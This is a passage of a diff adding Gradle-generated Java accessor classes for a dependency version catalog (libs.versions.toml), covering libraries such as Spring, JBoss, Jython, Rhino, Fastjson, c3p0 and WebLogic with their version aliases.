laccForOrgJbossSpecJavaxSecurityJaccJbossJaccApiV1LibraryAccessors; + } + + } + + public static class OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1LibraryAccessors extends SubDependencyFactory { + private final OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4LibraryAccessors laccForOrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4LibraryAccessors = new OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4LibraryAccessors(owner); + + public OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1LibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.spec.javax.security.jacc.jboss.jacc.api.v1.v4 + */ + public OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4LibraryAccessors getV4() { + return laccForOrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4LibraryAccessors; + } + + } + + public static class OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4LibraryAccessors extends SubDependencyFactory { + + public OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4LibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for spec with org.jboss.spec.javax.security.jacc:jboss-jacc-api_1.4_spec coordinates and + * with version reference org.jboss.spec.javax.security.jacc.jboss.jacc.api.v1.v4.spec + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getSpec() { + return create("org.jboss.spec.javax.security.jacc.jboss.jacc.api.v1.v4.spec"); + } + + } + + public static class OrgJbossWeldLibraryAccessors extends SubDependencyFactory { + private final OrgJbossWeldWeldLibraryAccessors laccForOrgJbossWeldWeldLibraryAccessors = new OrgJbossWeldWeldLibraryAccessors(owner); + + public OrgJbossWeldLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.weld.weld + */ + public OrgJbossWeldWeldLibraryAccessors getWeld() { + return laccForOrgJbossWeldWeldLibraryAccessors; + } + + } + + public static class OrgJbossWeldWeldLibraryAccessors extends SubDependencyFactory { + + public OrgJbossWeldWeldLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for core with org.jboss.weld:weld-core coordinates and + * with version reference org.jboss.weld.weld.core + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getCore() { + return create("org.jboss.weld.weld.core"); + } + + } + + public static class OrgJenkinsLibraryAccessors extends SubDependencyFactory { + private final OrgJenkinsCiLibraryAccessors laccForOrgJenkinsCiLibraryAccessors = new OrgJenkinsCiLibraryAccessors(owner); + + public OrgJenkinsLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jenkins.ci + */ + public OrgJenkinsCiLibraryAccessors getCi() { + return laccForOrgJenkinsCiLibraryAccessors; + } + + } + + public static class OrgJenkinsCiLibraryAccessors extends SubDependencyFactory { + private final OrgJenkinsCiMainLibraryAccessors laccForOrgJenkinsCiMainLibraryAccessors = new OrgJenkinsCiMainLibraryAccessors(owner); + + public OrgJenkinsCiLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jenkins.ci.main + */ + public OrgJenkinsCiMainLibraryAccessors getMain() { + return laccForOrgJenkinsCiMainLibraryAccessors; + } + + } + + public static class OrgJenkinsCiMainLibraryAccessors extends SubDependencyFactory { + + public OrgJenkinsCiMainLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for remoting with org.jenkins-ci.main:remoting coordinates and + * with version reference org.jenkins.ci.main.remoting + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getRemoting() { + return create("org.jenkins.ci.main.remoting"); + } + + } + + public static class OrgOw2LibraryAccessors extends SubDependencyFactory { + private final OrgOw2AsmLibraryAccessors laccForOrgOw2AsmLibraryAccessors = new OrgOw2AsmLibraryAccessors(owner); + + public OrgOw2LibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.ow2.asm + */ + public OrgOw2AsmLibraryAccessors getAsm() { + return laccForOrgOw2AsmLibraryAccessors; + } + + } + + public static class OrgOw2AsmLibraryAccessors extends SubDependencyFactory { + + public OrgOw2AsmLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for asm with org.ow2.asm:asm coordinates and + * with version reference org.ow2.asm.asm + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getAsm() { + return create("org.ow2.asm.asm"); + } + + } + + public static class OrgPythonLibraryAccessors extends SubDependencyFactory { + private final OrgPythonJythonLibraryAccessors laccForOrgPythonJythonLibraryAccessors = new OrgPythonJythonLibraryAccessors(owner); + + public OrgPythonLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.python.jython + */ + public OrgPythonJythonLibraryAccessors getJython() { + return laccForOrgPythonJythonLibraryAccessors; + } + + } + + public static class OrgPythonJythonLibraryAccessors extends SubDependencyFactory { + + public OrgPythonJythonLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for standalone with org.python:jython-standalone coordinates and + * with version reference org.python.jython.standalone + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getStandalone() { + return create("org.python.jython.standalone"); + } + + } + + public static class OrgReflectionsLibraryAccessors extends SubDependencyFactory { + + public OrgReflectionsLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for reflections with org.reflections:reflections coordinates and + * with version reference org.reflections.reflections + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getReflections() { + return create("org.reflections.reflections"); + } + + } + + public static class OrgSpringframeworkLibraryAccessors extends SubDependencyFactory { + private final OrgSpringframeworkSpringLibraryAccessors laccForOrgSpringframeworkSpringLibraryAccessors = new OrgSpringframeworkSpringLibraryAccessors(owner); + + public OrgSpringframeworkLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.springframework.spring + */ + public OrgSpringframeworkSpringLibraryAccessors getSpring() { + return laccForOrgSpringframeworkSpringLibraryAccessors; + } + + } + + public static class OrgSpringframeworkSpringLibraryAccessors extends SubDependencyFactory { + private final OrgSpringframeworkSpringContextLibraryAccessors laccForOrgSpringframeworkSpringContextLibraryAccessors = new OrgSpringframeworkSpringContextLibraryAccessors(owner); + + public OrgSpringframeworkSpringLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for aop with org.springframework:spring-aop coordinates and + * with version reference org.springframework.spring.aop + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getAop() { + return create("org.springframework.spring.aop"); + } + + /** + * Dependency provider for beans with org.springframework:spring-beans coordinates and + * with version reference org.springframework.spring.beans + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getBeans() { + return create("org.springframework.spring.beans"); + } + + /** + * Dependency provider for core with org.springframework:spring-core coordinates and + * with version reference org.springframework.spring.core + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getCore() { + return create("org.springframework.spring.core"); + } + + /** + * Dependency provider for jdbc with org.springframework:spring-jdbc coordinates and + * with version reference org.springframework.spring.jdbc + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getJdbc() { + return create("org.springframework.spring.jdbc"); + } + + /** + * Dependency provider for oxm with org.springframework:spring-oxm coordinates and + * with version reference org.springframework.spring.oxm + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getOxm() { + return create("org.springframework.spring.oxm"); + } + + /** + * Dependency provider for test with org.springframework:spring-test coordinates and + * with version reference org.springframework.spring.test + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getTest() { + return create("org.springframework.spring.test"); + } + + /** + * Dependency provider for tx with org.springframework:spring-tx coordinates and + * with version reference org.springframework.spring.tx + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getTx() { + return create("org.springframework.spring.tx"); + } + + /** + * Dependency provider for web with org.springframework:spring-web coordinates and + * with version reference org.springframework.spring.web + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getWeb() { + return create("org.springframework.spring.web"); + } + + /** + * Dependency provider for webmvc with org.springframework:spring-webmvc coordinates and + * with version reference org.springframework.spring.webmvc + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getWebmvc() { + return create("org.springframework.spring.webmvc"); + } + + /** + * Group of libraries at org.springframework.spring.context + */ + public OrgSpringframeworkSpringContextLibraryAccessors getContext() { + return laccForOrgSpringframeworkSpringContextLibraryAccessors; + } + + } + + public static class OrgSpringframeworkSpringContextLibraryAccessors extends SubDependencyFactory { + + public OrgSpringframeworkSpringContextLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for support with org.springframework:spring-context-support coordinates and + * with version reference org.springframework.spring.context.support + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getSupport() { + return create("org.springframework.spring.context.support"); + } + + } + + public static class RhinoLibraryAccessors extends SubDependencyFactory { + + public RhinoLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for js with rhino:js coordinates and + * with version reference rhino.js + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getJs() { + return create("rhino.js"); + } + + } + + public static class RomeLibraryAccessors extends SubDependencyFactory { + + public RomeLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for rome with rome:rome coordinates and + * with version reference rome.rome + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getRome() { + return create("rome.rome"); + } + + } + + public static class XercesLibraryAccessors extends SubDependencyFactory { + + public XercesLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for xercesimpl with xerces:xercesImpl coordinates and + * with version reference xerces.xercesimpl + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getXercesimpl() { + return create("xerces.xercesimpl"); + } + + } + + public static class VersionAccessors extends VersionFactory { + + private final CnVersionAccessors vaccForCnVersionAccessors = new CnVersionAccessors(providers, config); + private final ComVersionAccessors vaccForComVersionAccessors = new ComVersionAccessors(providers, config); + private final CommonsVersionAccessors vaccForCommonsVersionAccessors = new CommonsVersionAccessors(providers, config); + private final IoVersionAccessors vaccForIoVersionAccessors = new IoVersionAccessors(providers, config); + private final JavaxVersionAccessors vaccForJavaxVersionAccessors = new JavaxVersionAccessors(providers, config); + private final JbossVersionAccessors vaccForJbossVersionAccessors = new JbossVersionAccessors(providers, config); + private final JunitVersionAccessors vaccForJunitVersionAccessors = new JunitVersionAccessors(providers, config); + private final NetVersionAccessors vaccForNetVersionAccessors = new NetVersionAccessors(providers, config); + private final OrgVersionAccessors vaccForOrgVersionAccessors = new OrgVersionAccessors(providers, config); + private final RhinoVersionAccessors vaccForRhinoVersionAccessors = new RhinoVersionAccessors(providers, config); + private final RomeVersionAccessors vaccForRomeVersionAccessors = new RomeVersionAccessors(providers, config); + private final XercesVersionAccessors vaccForXercesVersionAccessors = new XercesVersionAccessors(providers, config); + public VersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.cn + */ + public CnVersionAccessors getCn() { + return vaccForCnVersionAccessors; + } + + /** + * Group of versions at versions.com + */ + public ComVersionAccessors getCom() { + return vaccForComVersionAccessors; + } + + /** + * Group of versions at versions.commons + */ + public CommonsVersionAccessors getCommons() { + return vaccForCommonsVersionAccessors; + } + + /** + * Group of versions at versions.io + */ + public IoVersionAccessors getIo() { + return vaccForIoVersionAccessors; + } + + /** + * Group of versions at versions.javax + */ + public JavaxVersionAccessors getJavax() { + return vaccForJavaxVersionAccessors; + } + + /** + * Group of versions at versions.jboss + */ + public JbossVersionAccessors getJboss() { + return vaccForJbossVersionAccessors; + } + + /** + * Group of versions at versions.junit + */ + public JunitVersionAccessors getJunit() { + return vaccForJunitVersionAccessors; + } + + /** + * Group of versions at versions.net + */ + public NetVersionAccessors getNet() { + return vaccForNetVersionAccessors; + } + + /** + * Group of versions at versions.org + */ + public OrgVersionAccessors getOrg() { + return vaccForOrgVersionAccessors; + } + + /** + * Group of versions at versions.rhino + */ + public RhinoVersionAccessors getRhino() { + return vaccForRhinoVersionAccessors; + } + + /** + * Group of versions at versions.rome + */ + public RomeVersionAccessors getRome() { + return vaccForRomeVersionAccessors; + } + + /** + * Group of versions at versions.xerces + */ + public XercesVersionAccessors getXerces() { + return vaccForXercesVersionAccessors; + } + + } + + public static class CnVersionAccessors extends VersionFactory { + + private final CnHutoolVersionAccessors vaccForCnHutoolVersionAccessors = new CnHutoolVersionAccessors(providers, config); + public CnVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.cn.hutool + */ + public CnHutoolVersionAccessors getHutool() { + return vaccForCnHutoolVersionAccessors; + } + + } + + public static class CnHutoolVersionAccessors extends VersionFactory { + + private final CnHutoolHutoolVersionAccessors vaccForCnHutoolHutoolVersionAccessors = new CnHutoolHutoolVersionAccessors(providers, config); + public CnHutoolVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.cn.hutool.hutool + */ + public CnHutoolHutoolVersionAccessors getHutool() { + return vaccForCnHutoolHutoolVersionAccessors; + } + + } + + public static class CnHutoolHutoolVersionAccessors extends VersionFactory { + + public CnHutoolHutoolVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias cn.hutool.hutool.all with value 5.7.7 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getAll() { return getVersion("cn.hutool.hutool.all"); } + + } + + public static class ComVersionAccessors extends VersionFactory { + + private final ComAlibabaVersionAccessors vaccForComAlibabaVersionAccessors = new ComAlibabaVersionAccessors(providers, config); + private final ComBeustVersionAccessors vaccForComBeustVersionAccessors = new ComBeustVersionAccessors(providers, config); + private final ComCauchoVersionAccessors vaccForComCauchoVersionAccessors = new ComCauchoVersionAccessors(providers, config); + private final ComFasterxmlVersionAccessors vaccForComFasterxmlVersionAccessors = new ComFasterxmlVersionAccessors(providers, config); + private final ComIbmVersionAccessors vaccForComIbmVersionAccessors = new ComIbmVersionAccessors(providers, config); + private final ComMchangeVersionAccessors vaccForComMchangeVersionAccessors = new ComMchangeVersionAccessors(providers, config); + private final ComNqzeroVersionAccessors vaccForComNqzeroVersionAccessors = new ComNqzeroVersionAccessors(providers, config); + private final ComOracleVersionAccessors vaccForComOracleVersionAccessors = new ComOracleVersionAccessors(providers, config); + private final ComTeradataVersionAccessors vaccForComTeradataVersionAccessors = new ComTeradataVersionAccessors(providers, config); + private final ComUnboundidVersionAccessors vaccForComUnboundidVersionAccessors = new ComUnboundidVersionAccessors(providers, config); + private final ComVaadinVersionAccessors vaccForComVaadinVersionAccessors = new ComVaadinVersionAccessors(providers, config); + public ComVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.alibaba + */ + public ComAlibabaVersionAccessors getAlibaba() { + return vaccForComAlibabaVersionAccessors; + } + + /** + * Group of versions at versions.com.beust + */ + public ComBeustVersionAccessors getBeust() { + return vaccForComBeustVersionAccessors; + } + + /** + * Group of versions at versions.com.caucho + */ + public ComCauchoVersionAccessors getCaucho() { + return vaccForComCauchoVersionAccessors; + } + + /** + * Group of versions at versions.com.fasterxml + */ + public ComFasterxmlVersionAccessors getFasterxml() { + return vaccForComFasterxmlVersionAccessors; + } + + /** + * Group of versions at versions.com.ibm + */ + public ComIbmVersionAccessors getIbm() { + return vaccForComIbmVersionAccessors; + } + + /** + * Group of versions at versions.com.mchange + */ + public ComMchangeVersionAccessors getMchange() { + return vaccForComMchangeVersionAccessors; + } + + /** + * Group of versions at versions.com.nqzero + */ + public ComNqzeroVersionAccessors getNqzero() { + return vaccForComNqzeroVersionAccessors; + } + + /** + * Group of versions at versions.com.oracle + */ + public ComOracleVersionAccessors getOracle() { + return vaccForComOracleVersionAccessors; + } + + /** + * Group of versions at versions.com.teradata + */ + public ComTeradataVersionAccessors getTeradata() { + return vaccForComTeradataVersionAccessors; + } + + /** + * Group of versions at versions.com.unboundid + */ + public ComUnboundidVersionAccessors getUnboundid() { + return vaccForComUnboundidVersionAccessors; + } + + /** + * Group of versions at versions.com.vaadin + */ + public ComVaadinVersionAccessors getVaadin() { + return vaccForComVaadinVersionAccessors; + } + + } + + public static class ComAlibabaVersionAccessors extends VersionFactory { + + private final ComAlibabaFastjson2VersionAccessors vaccForComAlibabaFastjson2VersionAccessors = new ComAlibabaFastjson2VersionAccessors(providers, config); + public ComAlibabaVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias com.alibaba.fastjson with value 1.2.83 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getFastjson() { return getVersion("com.alibaba.fastjson"); } + + /** + * Group of versions at versions.com.alibaba.fastjson2 + */ + public ComAlibabaFastjson2VersionAccessors getFastjson2() { + return vaccForComAlibabaFastjson2VersionAccessors; + } + + } + + public static class ComAlibabaFastjson2VersionAccessors extends VersionFactory { + + public ComAlibabaFastjson2VersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias com.alibaba.fastjson2.fastjson2 with value 2.0.26 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getFastjson2() { return getVersion("com.alibaba.fastjson2.fastjson2"); } + + } + + public static class ComBeustVersionAccessors extends VersionFactory { + + public ComBeustVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias com.beust.jcommander with value 1.78 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getJcommander() { return getVersion("com.beust.jcommander"); } + + } + + public static class ComCauchoVersionAccessors extends VersionFactory { + + public ComCauchoVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias com.caucho.resin with value 4.0.65 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getResin() { return getVersion("com.caucho.resin"); } + + } + + public static class ComFasterxmlVersionAccessors extends VersionFactory { + + private final ComFasterxmlJacksonVersionAccessors vaccForComFasterxmlJacksonVersionAccessors = new ComFasterxmlJacksonVersionAccessors(providers, config); + public ComFasterxmlVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.fasterxml.jackson + */ + public ComFasterxmlJacksonVersionAccessors getJackson() { + return vaccForComFasterxmlJacksonVersionAccessors; + } + + } + + public static class ComFasterxmlJacksonVersionAccessors extends VersionFactory { + + private final ComFasterxmlJacksonCoreVersionAccessors vaccForComFasterxmlJacksonCoreVersionAccessors = new ComFasterxmlJacksonCoreVersionAccessors(providers, config); + public ComFasterxmlJacksonVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.fasterxml.jackson.core + */ + public ComFasterxmlJacksonCoreVersionAccessors getCore() { + return vaccForComFasterxmlJacksonCoreVersionAccessors; + } + + } + + public static class ComFasterxmlJacksonCoreVersionAccessors extends VersionFactory { + + private final ComFasterxmlJacksonCoreJacksonVersionAccessors vaccForComFasterxmlJacksonCoreJacksonVersionAccessors = new ComFasterxmlJacksonCoreJacksonVersionAccessors(providers, config); + public ComFasterxmlJacksonCoreVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.fasterxml.jackson.core.jackson + */ + public ComFasterxmlJacksonCoreJacksonVersionAccessors getJackson() { + return vaccForComFasterxmlJacksonCoreJacksonVersionAccessors; + } + + } + + public static class ComFasterxmlJacksonCoreJacksonVersionAccessors extends VersionFactory { + + public ComFasterxmlJacksonCoreJacksonVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias com.fasterxml.jackson.core.jackson.databind with value 2.11.3 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getDatabind() { return getVersion("com.fasterxml.jackson.core.jackson.databind"); } + + } + + public static class ComIbmVersionAccessors extends VersionFactory { + + private final ComIbmWebsphereVersionAccessors vaccForComIbmWebsphereVersionAccessors = new ComIbmWebsphereVersionAccessors(providers, config); + public ComIbmVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.ibm.websphere + */ + public ComIbmWebsphereVersionAccessors getWebsphere() { + return vaccForComIbmWebsphereVersionAccessors; + } + + } + + public static class ComIbmWebsphereVersionAccessors extends VersionFactory { + + private final ComIbmWebsphereAppserverVersionAccessors vaccForComIbmWebsphereAppserverVersionAccessors = new ComIbmWebsphereAppserverVersionAccessors(providers, config); + public ComIbmWebsphereVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.ibm.websphere.appserver + */ + public ComIbmWebsphereAppserverVersionAccessors getAppserver() { + return vaccForComIbmWebsphereAppserverVersionAccessors; + } + + } + + public static class ComIbmWebsphereAppserverVersionAccessors extends VersionFactory { + + private final ComIbmWebsphereAppserverApiVersionAccessors vaccForComIbmWebsphereAppserverApiVersionAccessors = new ComIbmWebsphereAppserverApiVersionAccessors(providers, config); + public ComIbmWebsphereAppserverVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.ibm.websphere.appserver.api + */ + public ComIbmWebsphereAppserverApiVersionAccessors getApi() { + return vaccForComIbmWebsphereAppserverApiVersionAccessors; + } + + } + + public static class ComIbmWebsphereAppserverApiVersionAccessors extends VersionFactory { + + private final ComIbmWebsphereAppserverApiComVersionAccessors vaccForComIbmWebsphereAppserverApiComVersionAccessors = new ComIbmWebsphereAppserverApiComVersionAccessors(providers, config); + public ComIbmWebsphereAppserverApiVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.ibm.websphere.appserver.api.com + */ + public ComIbmWebsphereAppserverApiComVersionAccessors getCom() { + return vaccForComIbmWebsphereAppserverApiComVersionAccessors; + } + + } + + public static class ComIbmWebsphereAppserverApiComVersionAccessors extends VersionFactory { + + private final ComIbmWebsphereAppserverApiComIbmVersionAccessors vaccForComIbmWebsphereAppserverApiComIbmVersionAccessors = new ComIbmWebsphereAppserverApiComIbmVersionAccessors(providers, config); + public ComIbmWebsphereAppserverApiComVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.ibm.websphere.appserver.api.com.ibm + */ + public ComIbmWebsphereAppserverApiComIbmVersionAccessors getIbm() { + return vaccForComIbmWebsphereAppserverApiComIbmVersionAccessors; + } + + } + + public static class ComIbmWebsphereAppserverApiComIbmVersionAccessors extends VersionFactory { + + private final ComIbmWebsphereAppserverApiComIbmWebsphereVersionAccessors vaccForComIbmWebsphereAppserverApiComIbmWebsphereVersionAccessors = new ComIbmWebsphereAppserverApiComIbmWebsphereVersionAccessors(providers, config); + public ComIbmWebsphereAppserverApiComIbmVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.ibm.websphere.appserver.api.com.ibm.websphere + */ + public ComIbmWebsphereAppserverApiComIbmWebsphereVersionAccessors getWebsphere() { + return vaccForComIbmWebsphereAppserverApiComIbmWebsphereVersionAccessors; + } + + } + + public static class ComIbmWebsphereAppserverApiComIbmWebsphereVersionAccessors extends VersionFactory { + + private final ComIbmWebsphereAppserverApiComIbmWebsphereAppserverVersionAccessors vaccForComIbmWebsphereAppserverApiComIbmWebsphereAppserverVersionAccessors = new ComIbmWebsphereAppserverApiComIbmWebsphereAppserverVersionAccessors(providers, config); + public ComIbmWebsphereAppserverApiComIbmWebsphereVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.ibm.websphere.appserver.api.com.ibm.websphere.appserver + */ + public ComIbmWebsphereAppserverApiComIbmWebsphereAppserverVersionAccessors getAppserver() { + return vaccForComIbmWebsphereAppserverApiComIbmWebsphereAppserverVersionAccessors; + } + + } + + public static class ComIbmWebsphereAppserverApiComIbmWebsphereAppserverVersionAccessors extends VersionFactory { + + private final ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiVersionAccessors vaccForComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiVersionAccessors = new ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiVersionAccessors(providers, config); + public ComIbmWebsphereAppserverApiComIbmWebsphereAppserverVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.ibm.websphere.appserver.api.com.ibm.websphere.appserver.api + */ + public ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiVersionAccessors getApi() { + return vaccForComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiVersionAccessors; + } + + } + + public static class ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiVersionAccessors extends VersionFactory { + + public ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias com.ibm.websphere.appserver.api.com.ibm.websphere.appserver.api.wsoc with value 1.0.10 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getWsoc() { return getVersion("com.ibm.websphere.appserver.api.com.ibm.websphere.appserver.api.wsoc"); } + + } + + public static class ComMchangeVersionAccessors extends VersionFactory { + + public ComMchangeVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias com.mchange.c3p0 with value 0.9.5.5 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getC3p0() { return getVersion("com.mchange.c3p0"); } + + } + + public static class ComNqzeroVersionAccessors extends VersionFactory { + + private final ComNqzeroPermitVersionAccessors vaccForComNqzeroPermitVersionAccessors = new ComNqzeroPermitVersionAccessors(providers, config); + public ComNqzeroVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.nqzero.permit + */ + public ComNqzeroPermitVersionAccessors getPermit() { + return vaccForComNqzeroPermitVersionAccessors; + } + + } + + public static class ComNqzeroPermitVersionAccessors extends VersionFactory { + + public ComNqzeroPermitVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias com.nqzero.permit.reflect with value 0.3 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getReflect() { return getVersion("com.nqzero.permit.reflect"); } + + } + + public static class ComOracleVersionAccessors extends VersionFactory { + + private final ComOracleWeblogicVersionAccessors vaccForComOracleWeblogicVersionAccessors = new ComOracleWeblogicVersionAccessors(providers, config); + public ComOracleVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.oracle.weblogic + */ + public ComOracleWeblogicVersionAccessors getWeblogic() { + return vaccForComOracleWeblogicVersionAccessors; + } + + } + + public static class ComOracleWeblogicVersionAccessors extends VersionFactory { + + private final ComOracleWeblogicWeblogicVersionAccessors vaccForComOracleWeblogicWeblogicVersionAccessors = new ComOracleWeblogicWeblogicVersionAccessors(providers, config); + public ComOracleWeblogicVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.oracle.weblogic.weblogic + */ + public ComOracleWeblogicWeblogicVersionAccessors getWeblogic() { + return vaccForComOracleWeblogicWeblogicVersionAccessors; + } + + } + + public static class ComOracleWeblogicWeblogicVersionAccessors extends VersionFactory { + + public ComOracleWeblogicWeblogicVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias com.oracle.weblogic.weblogic.server with value 1.0 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getServer() { return getVersion("com.oracle.weblogic.weblogic.server"); } + + } + + public static class ComTeradataVersionAccessors extends VersionFactory { + + private final ComTeradataJdbcVersionAccessors vaccForComTeradataJdbcVersionAccessors = new ComTeradataJdbcVersionAccessors(providers, config); + public ComTeradataVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.teradata.jdbc + */ + public ComTeradataJdbcVersionAccessors getJdbc() { + return vaccForComTeradataJdbcVersionAccessors; + } + + } + + public static class ComTeradataJdbcVersionAccessors extends VersionFactory { + + public ComTeradataJdbcVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias com.teradata.jdbc.terajdbc with value 20.00.00.06 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

